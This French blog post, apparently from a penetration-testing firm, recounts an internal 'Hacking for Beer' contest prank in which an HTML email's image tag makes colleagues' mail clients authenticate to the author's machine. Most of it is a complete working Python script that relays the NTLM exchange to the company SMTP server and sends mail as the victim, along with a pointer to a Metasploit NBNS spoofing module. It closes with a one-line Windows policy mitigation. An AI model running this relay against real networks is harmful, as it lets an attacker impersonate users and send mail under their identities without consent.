Une autre manche du concours Hacking for Beer. Cette fois, le plan était d’envoyer un courriel qui déclencherait une demande d’authentification vers ma machine, laquelle relaierait ensuite les connexions au serveur de courriel. C’est possible grâce au protocole NTLM.
L’authentification par défi-réponse NTLM est un protocole encore largement utilisé dans les produits Microsoft.
Internet Explorer, Chrome et Outlook tentent automatiquement de s’authentifier par NTLM si le domaine fait partie de la zone « Intranet local » ou si le nom de domaine ne contient pas de point, comme c’est le cas des noms NETBIOS. Firefox, lui, n’accède pas automatiquement aux identifiants Windows et les demande à l’utilisateur.
Pour cette attaque, j’ai envoyé un courriel contenant une balise img dans le code HTML, dont l’adresse source pointait vers ma machine: <img src=”https://mymachine:8080/”>. Certains de mes collègues téléchargent automatiquement les images de mes courriels. Pour eux, il suffisait d’ouvrir le message pour déclencher la requête malveillante.
Résumé de l’attaque:
- Le client de messagerie de mes victimes envoie une requête à mon serveur, qui répond par un HTTP 401 Unauthorized.
- Le client de messagerie envoie le NEGOTIATE_NTLM_MESSAGE à ma machine.
- Ma machine se connecte au serveur SMTP et reçoit le CHALLENGE_NTLM_MESSAGE.
- Ma machine relaie le défi à la victime.
- La victime renvoie l’AUTHENTICATION_NTLM_MESSAGE, que ma machine relaie au serveur SMTP.
- Enfin, authentifié au nom de ma victime, le fameux courriel part sans encombre.
Chose amusante: un autre employé a entendu dire que mon collègue s’était fait pirater de cette façon. Mon collègue lui a donc transféré le courriel « malveillant », et le voilà qui se met à envoyer des messages annonçant que lui aussi paie la bière vendredi prochain.
Voici le script utilisé pour cette attaque, écrit en Python:
###
# This script creates a listening HTTP server asking for NTLM authentication.
# It will forward challenge-responses back and forth from an SMTP server and
# the HTTP client to authenticate itself.
#
# After a successful authentication, a mail will be send on the user's behalf.
#
# You will probably want to configure your machine with a NetBIOS name or use
# the Metasploit module "auxiliary/spoof/nbns/nbns_response" and send emails
# with a HTLM IMG tag specifically chosen.
#
# Author: Michael Lahaye
###
import base64
import time
import re
import smtplib
import struct
import BaseHTTPServer
WEB_IP = '0.0.0.0'
WEB_PORT = 8080
MAIL_IP = '10.250.0.10'
MAIL_PORT = 587
RECIPIENT_ADDRESS = 'pentest@okiok.com'
class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def version_string(self):
return 'Trusted Web Server'
def do_HEAD(s):
s.send_response(200)
s.send_header('Content-type', 'text/html')
s.end_headers()
def do_GET(s):
http_server = HTTPAuthServer()
# Respond to a GET request with NTLM authentication request.
ntlm_msg1 = http_server.get_ntlm1(s)
if not ntlm_msg1:
return
print('NTLM NEGOTIATE_MESSAGE: {0}'.format(ntlm_msg1))
print('Connecting to mail server ...')
smtp = SMTPClient(MAIL_IP, MAIL_PORT)
ntlm_msg2 = smtp.send_ntlm1(ntlm_msg1)
print('NTLM CHALLENGE_MESSAGE: {0}'.format(ntlm_msg2))
# Forward NTLM challenge to HTTP client
ntlm_msg3, user, domain = http_server.get_ntlm3(s, ntlm_msg2)
print('NTLM AUTHENTICATE_MESSAGE: {0}'.format(ntlm_msg3))
# Forward finally NTLM authentication message to SMTP
smtp.send_ntlm3(ntlm_msg3)
recipient = RECIPIENT_ADDRESS
if user.lower() == 'mlahaye':
recipient = 'mlahaye@okiok.com' # Prevent self-pwnage ;)
sender = '{0}@{1}'.format(user, domain)
print('Sending mail from {0} ...'.format(sender))
smtp.send_mail(sender, recipient)
print('Mail from {0} is sent.'.format(sender))
class HTTPAuthServer:
def get_ntlm1(self, s):
s.send_response(401)
s.send_header('Content-Type', 'text/html')
s.send_header('WWW-Authenticate', 'NTLM')
s.send_header('Connection', 'Keep-Alive')
s.send_header('Content-Length', '0')
s.send_header('Proxy-Support', 'Session-Based-Authentication')
s.end_headers()
return self._extract_ntlm_message(s)
def get_ntlm3(self, s, ntlm2):
s.send_response(401)
s.send_header('Content-Type', 'text/html')
s.send_header('WWW-Authenticate', 'NTLM ' + ntlm2)
s.send_header('Connection', 'Keep-Alive')
s.send_header('Content-Length', '0')
s.send_header('Proxy-Support', 'Session-Based-Authentication')
s.end_headers()
ntlm3 = self._extract_ntlm_message(s)
user, domain = self._parse_NTLM_AUTHENTICATE_MESSAGE(ntlm3)
# Just send an HTTP 200 response back to HTTP client
s.send_response(200)
s.send_header('Content-Type', 'text/html')
s.send_header('Connection', 'Keep-Alive')
s.send_header('Content-Length', '0')
s.end_headers()
return ntlm3, user, domain
def _extract_ntlm_message(self, s):
ntlm_message = ''
try:
while True:
line = s.rfile.readline().rstrip()
if not line:
break
reg = re.search(r'^Authorization: NTLM (\S+)$', line)
if reg:
ntlm_message = reg.group(1)
except:
print('Socket timeout')
return ntlm_message
def _parse_NTLM_AUTHENTICATE_MESSAGE(self, ntlm3):
ntlm3 = base64.decodestring(ntlm3)
domain_len = struct.unpack("<H", ntlm3[28:30])[0]
domain_offset = struct.unpack("<I", ntlm3[32:36])[0]
domain = ntlm3[domain_offset:domain_offset+domain_len].replace('\x00', '')
user_len = struct.unpack("<H", ntlm3[36:38])[0]
user_offset = struct.unpack("<I", ntlm3[40:44])[0]
user = ntlm3[user_offset:user_offset+user_len].replace('\x00', '')
return user, domain
class SMTPClient:
def __init__(self, hostname, port):
self.server = smtplib.SMTP(hostname, port)
self.server.ehlo()
self.server.starttls()
self.server.ehlo()
def __del__(self):
self.server.quit()
def send_ntlm1(self, negotiate_message):
code, response = self.server.docmd('AUTH', 'NTLM ' + negotiate_message)
if code != 334:
raise Exception('No NTLM Challenge Message received.')
return response
def send_ntlm3(self, authenticate_message):
code, response = self.server.docmd('', authenticate_message)
if code != 235:
raise Exception('NTLM Authenticate Message error, ({0}, {1})'.format(code, response))
return response
def send_mail(self, sender, recipient):
message = """\
From: {0}
To: {1}
Subject: Beer is coming back my friends
Who wants to come drink a beer with me next Friday? You are invited ;)
""".format(sender, recipient)
self.server.sendmail(sender, recipient, message)
if __name__ == '__main__':
server_class = BaseHTTPServer.HTTPServer
httpd = server_class((WEB_IP, WEB_PORT), MyHandler)
print('{0} Server Starts - {1}:{2}'.format(time.asctime(), WEB_IP, WEB_PORT))
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
print('{0} Server Stops - {1}:{2}'.format(time.asctime(), WEB_IP, WEB_PORT))
Prévention:
Pour bloquer cette attaque, ouvrez votre « Stratégie de sécurité locale » et allez à:
Paramètres de sécurité -> Stratégies locales -> Options de sécurité -> Sécurité réseau: restreindre NTLM: trafic NTLM sortant vers des serveurs distants -> « Refuser tout »
